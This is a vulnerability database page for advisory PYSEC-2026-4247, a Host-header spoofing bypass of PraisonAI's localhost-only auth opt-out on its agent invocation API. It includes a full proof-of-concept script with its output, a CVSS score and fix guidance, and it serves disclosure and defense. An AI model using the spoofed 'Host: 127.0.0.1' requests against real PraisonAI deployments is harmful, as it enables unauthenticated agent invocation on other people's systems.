VDB
Sign up
HIGH8.2

PYSEC-2026-4247

PraisonAI: Call API localhost-only authentication bypass via spoofed Host header

Quick fix

PYSEC-2026-4247 — praisonai: upgrade to the fixed version with the command below.

pip install --upgrade 'praisonai>=4.6.78'

Details

# Call API localhost-only authentication bypass via spoofed Host header

## Summary

PraisonAI's patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.

## Technical Details

The affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding:

```python _LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def _bind_host_from_request(request: Request) -> str: host = getattr(getattr(request, 'url', None), 'hostname', None) return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None: if _call_auth_disabled(): bind_host = _bind_host_from_request(request) if bind_host not in _LOCALHOST_HOSTS: raise HTTPException( status_code=503, detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding", ) return ```

The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service.

The protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry.

This is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.

## PoV

the PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`.

```python disabled_client = TestClient(app, base_url="http://external.example")

external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, ) ```

Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent.

The complete PoV script is in Appendix A.

## PoC

Run from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`:

```bash git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ```

Observed `v4.6.62` output:

```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ```

Run the same script against current main:

```bash git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py . ```

Observed current-head output:

```json { "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true } ```

The negative controls are the first two status fields. With default authentication and no token, the API fails closed with `503`. With `PRAISONAI_CALL_AUTH=disabled`, an ordinary external Host is also rejected with `503`. Only the spoofed localhost Host passes the guard and reaches agent execution.

## Impact

An unauthenticated caller who can reach a PraisonAI call/serve API with `PRAISONAI_CALL_AUTH=disabled` can bypass the intended localhost-only restriction by setting `Host: 127.0.0.1`. The PoV demonstrates both agent listing and direct invocation of a registered agent through `/api/v1/agents/{agent_id}/invoke`.

Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted `/api/v1/agents` API family.

Suggested CWE: `CWE-287` Improper Authentication and `CWE-346` Origin Validation Error, with `CWE-306` Missing Authentication for Critical Function also applicable to the bypassed protected action.

Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.

## Suggested Fix

Do not derive bind safety from `Request.url`, the HTTP Host header, or any request-header-derived value. If `PRAISONAI_CALL_AUTH=disabled` remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.

Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to `127.0.0.1`, `localhost`, or `::1`.

Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where `PRAISONAI_CALL_AUTH=disabled`, the modeled server configuration is non-loopback, and the request sends `Host: 127.0.0.1`; the expected result should be rejection before any agent list or invoke handler runs.

## Affected Package/Versions

Affected package: `praisonai` on PyPI.

Confirmed affected:

- `v4.6.62` at `2a855c470077c7d2e2479a575f7ef7f548d51c33` - current main at `846568c7a5d8ce9e71e56e4c213f027c04909753`, version file still reporting `4.6.62`

`v4.6.60` had the older unconditional `PRAISONAI_CALL_AUTH=disabled` bypass and is covered by a different public advisory. This report is for the patched guard shape present in `v4.6.62` and current main. If `v4.6.61` contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.

Fixed version: unknown.

## Advisory History

I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:

- `GHSA-86qc-r5v2-v6x6`: call server unauthenticated agent listing/invocation/deletion when `CALL_SERVER_TOKEN` is unset in older releases. Current code fails closed when no token is configured; this report requires the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard and a spoofed Host header. - `GHSA-8ccj-p46r-jwqq`: `PRAISONAI_CALL_AUTH=disabled` unconditionally disabled authentication in older releases and is listed as patched in `>= 4.6.61`. This report shows `v4.6.62` and current main are still bypassable through the new guard because the guard trusts `request.url.hostname`. - `GHSA-vmf9-xx9w-86wx`: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through `praisonaiagents.mcp.ToolsMCPServer.run_sse()`, `/sse`, and `/messages/`. That advisory affects `praisonaiagents >= 0.6.0, < 1.6.58` and `praisonai >= 3.10.0, < 4.6.58`, with patches listed as `praisonaiagents >= 1.6.59` and `praisonai >= 4.6.59`. This report targets a different package call path in `praisonai.api.agent_invoke.verify_token()` and `/api/v1/agents/{agent_id}/invoke`, confirmed in `praisonai v4.6.62` and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires `PRAISONAI_CALL_AUTH=disabled` on the call/n8n agent API and bypasses its localhost-only opt-out guard with `Host: 127.0.0.1`; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved. - `GHSA-x8cv-xmq7-p8xp`: `AgentTeam.launch()` unauthenticated API. That advisory covers `praisonaiagents` `AgentTeam.launch()` routes, not `praisonai.api.agent_invoke.verify_token()`. - `GHSA-5qw8-f2g9-ff29`: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.

No advisory I found describes Host-header spoofing against the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard in `praisonai.api.agent_invoke`.

## References

- `src/praisonai/praisonai/api/agent_invoke.py` - `src/praisonai/praisonai/cli/features/serve.py` - `GHSA-86qc-r5v2-v6x6`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6 - `GHSA-8ccj-p46r-jwqq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq - `GHSA-vmf9-xx9w-86wx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx - `GHSA-x8cv-xmq7-p8xp`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp - `GHSA-5qw8-f2g9-ff29`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29

## Appendix A - Full PoV Script

```python #!/usr/bin/env python3 """PoV for PraisonAI call API Host-header localhost guard bypass."""

from __future__ import annotations

import importlib import json import os import sys from pathlib import Path from typing import Any

def _repo_root() -> Path: if len(sys.argv) == 2: return Path(sys.argv[1]).resolve() return Path.cwd().resolve()

def _load_agent_invoke(repo_root: Path, auth_disabled: bool): os.environ.pop("CALL_SERVER_TOKEN", None) if auth_disabled: os.environ["PRAISONAI_CALL_AUTH"] = "disabled" else: os.environ.pop("PRAISONAI_CALL_AUTH", None)

package_root = repo_root / "src" / "praisonai" if not package_root.exists(): raise SystemExit(f"missing PraisonAI package root: {package_root}") package_root_s = str(package_root) if package_root_s not in sys.path: sys.path.insert(0, package_root_s)

import praisonai.api.agent_invoke as agent_invoke

agent_invoke = importlib.reload(agent_invoke) agent_invoke._agent_registry.clear() return agent_invoke

class StubAgent: def __init__(self) -> None: self.calls: list[str] = []

def start(self, message: str) -> str: self.calls.append(message) return f"stub-agent-ran:{message}"

def _make_client(agent_invoke: Any): from fastapi import FastAPI from fastapi.testclient import TestClient

app = FastAPI() app.include_router(agent_invoke.router) return TestClient(app, base_url="http://external.example")

def main() -> int: repo_root = _repo_root()

fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False) fail_closed_client = _make_client(fail_closed_mod) fail_closed = fail_closed_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, )

disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True) agent = StubAgent() disabled_mod.register_agent("pov-agent", agent) disabled_client = _make_client(disabled_mod)

external_host = disabled_client.get( "/api/v1/agents", headers={"host": "external.example"}, ) spoofed_localhost_list = disabled_client.get( "/api/v1/agents", headers={"host": "127.0.0.1"}, ) spoofed_localhost_invoke = disabled_client.post( "/api/v1/agents/pov-agent/invoke", headers={"host": "127.0.0.1"}, json={"message": "host-header-bypass"}, )

result = { "repo_head": _git(repo_root, "rev-parse", "HEAD"), "fail_closed_without_token_status": fail_closed.status_code, "disabled_auth_external_host_status": external_host.status_code, "disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code, "disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code, "spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke), "stub_agent_calls": agent.calls, }

expected = ( fail_closed.status_code == 503 and external_host.status_code == 503 and spoofed_localhost_list.status_code == 200 and spoofed_localhost_invoke.status_code == 200 and agent.calls == ["host-header-bypass"] ) result["vulnerable"] = expected print(json.dumps(result, indent=2, sort_keys=True)) return 0 if expected else 1

def _safe_json(response: Any) -> Any: try: return response.json() except Exception: return response.text

def _git(repo_root: Path, *args: str) -> str: import subprocess

return subprocess.check_output( ["git", "-C", str(repo_root), *args], text=True, stderr=subprocess.DEVNULL, ).strip()

if __name__ == "__main__": raise SystemExit(main()) ```

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/praisonai
Introduced in: 0Fixed in: 4.6.78
Fixpip install --upgrade 'praisonai>=4.6.78'

References